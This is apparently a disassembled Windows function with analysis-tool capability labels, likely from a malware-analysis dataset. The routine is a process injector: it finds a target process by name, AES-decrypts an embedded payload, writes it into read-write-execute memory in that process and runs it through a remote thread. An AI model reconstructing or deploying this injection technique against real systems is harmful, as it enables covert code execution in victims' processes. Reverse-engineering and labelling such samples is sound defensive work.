Function at 0x140001b80
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Execute command
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rsp + 0xa8], rax
mov edx, dword [0x14000b98c]
call fcn.140001aa0
mov edx, dword [0x14000b988]
mov r12, rax
call fcn.140001aa0
mov edx, dword [0x14000b998]
mov rdi, rax
call fcn.140001aa0
mov edx, dword [0x14000b984]
mov r14, rax
call fcn.140001aa0
mov edx, dword [0x14000b980]
mov r13, rax
call fcn.140001aa0
mov edx, dword [0x14000b990]
mov qword [rsp + 0x40], rax
call fcn.140001aa0
mov edx, dword [0x14000b978]
mov r15, rax
call fcn.140001aa0
mov edx, dword [0x14000b994]
mov rbx, rax
call fcn.140001aa0
mov edx, dword [0x14000b97c]
mov rsi, rax
call fcn.140001aa0
xor edx, edx
mov dword [0x14000b730], 0x238
mov rbp, rax
lea ecx, [rdx + 2]
call rdi
lea rdx, [0x14000b730]
mov rcx, rax
mov rdi, rax
call rbx
lea rbx, [0x14000b75c]
lea rdx, str.mspainta.exe
mov rax, 0xffffffffffffffff
nop word [rax + rax]
movzx ecx, word [rbx + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x140001c90
add rax, 2
cmp rax, 0xd
je 0x140001cf6
movzx ecx, word [rbx + rax*2]
cmp cx, word [rdx + rax*2]
je 0x140001c70
lea rdx, [0x14000b730]
mov rcx, rdi
call rsi
test eax, eax
jne 0x140001c58
lea rdx, [0x140004428]
lea rcx, str._s_Usage:_program.exe__PID__n
call fcn.140001450
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, 1
mov rcx, qword [rsp + 0xa8]
xor rcx, rsp
call fcn.140002320
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov r8d, dword [0x14000b738]
lea rdx, [0x140004428]
lea rcx, str._s_Trying_to_open_a_handle_to_process___ld__n
mov dword [0x14000b974], r8d
call fcn.140001450
mov r8d, dword [0x14000b974]
xor edx, edx
mov ecx, 0x1fffff
call r14
mov qword [0x14000b968], rax
test rax, rax
jne 0x140001d5c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, dword [0x14000b974]
lea rdx, [0x140004428]
mov r9d, eax
lea rcx, str._s_Can_not_get_a_handle_to_the_process___ld___error:__ld_n
call fcn.140001450
jmp 0x140001cb3
mov r8, rax
lea rdx, [0x140004428]
lea rcx, str._s_Got_a_handle_to_the_process__n___0x_p_n
call fcn.140001450
lea rdx, [0x14000b050]
lea rcx, [rsp + 0x48]
call fcn.140002090
mov rcx, rax
call fcn.140001670
lea rdx, [0x14000b070]
mov rdi, rax
lea rcx, [rsp + 0x68]
call fcn.140002090
mov rcx, rax
call fcn.140001670
mov r9d, 0x18
mov dword [rsp + 0x90], 8
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x98]
mov rbx, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140001eb3
mov rcx, qword [rsp + 0x98]
lea rax, [rsp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001eb3
mov rcx, qword [rsp + 0xa0]
xor r9d, r9d
mov rdx, rdi
lea r8d, [r9 + 8]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001eb3
mov r8, qword [rsp + 0xa0]
lea rax, [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001eb3
mov rcx, qword [rsp + 0x88]
lea rax, [rsp + 0x90]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001eb3
mov rcx, qword [rsp + 0x98]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
movzx eax, byte [0x14000b048]
xor edx, edx
mov rcx, qword [0x14000b968]
mov r9d, 0x3000
mov byte [rbx], al
mov dword [rsp + 0x20], 0x40
lea r8d, [rdx + 8]
call r13
mov r8d, 8
mov qword [0x14000b728], rax
lea rdx, [0x140004428]
lea rcx, str._s_Allocated__zu_bytes_with_PAGE_EXECUTE_READWRITE_permissions_n
call fcn.140001450
mov rdx, qword [0x14000b728]
xor edi, edi
mov rcx, qword [0x14000b968]
mov r8, rbx
mov qword [rsp + 0x20], rdi
lea r9d, [rdi + 8]
call qword [rsp + 0x40]
lea r8d, [rdi + 8]
lea rdx, [0x140004428]
lea rcx, str._s_Wrote__zu_bytes_to_process_memory_n
call fcn.140001450
mov r9, qword [0x14000b728]
lea rax, [0x14000b970]
mov rcx, qword [0x14000b968]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
call r12
mov qword [0x14000b720], rax
test rax, rax
jne 0x140001f97
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140004428]
lea rcx, str._s_Can_not_get_a_handle_to_the_thread__error:__ld_n
call fcn.140001450
mov rcx, qword [0x14000b968]
call rbp
jmp 0x140001cb3
mov r8d, dword [0x14000b970]
lea rdx, [0x140004428]
mov r9, rax
lea rcx, str._s_Got_a_handle_to_the_thread___ld__n___0x_p_n
call fcn.140001450
mov rcx, qword [0x14000b720]
mov edx, 0xffffffff
call r15
lea rdx, [0x140004428]
lea rcx, str._s_Thread_finished_executing_n
call fcn.140001450
lea rdx, [0x140004428]
lea rcx, str._s_Cleaning_up_n
call fcn.140001450
mov rcx, qword [0x14000b720]
call rbp
mov rcx, qword [0x14000b968]
call rbp
lea rdx, [0x140004428]
lea rcx, str._s_Finished__n
call fcn.140001450
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140001cc5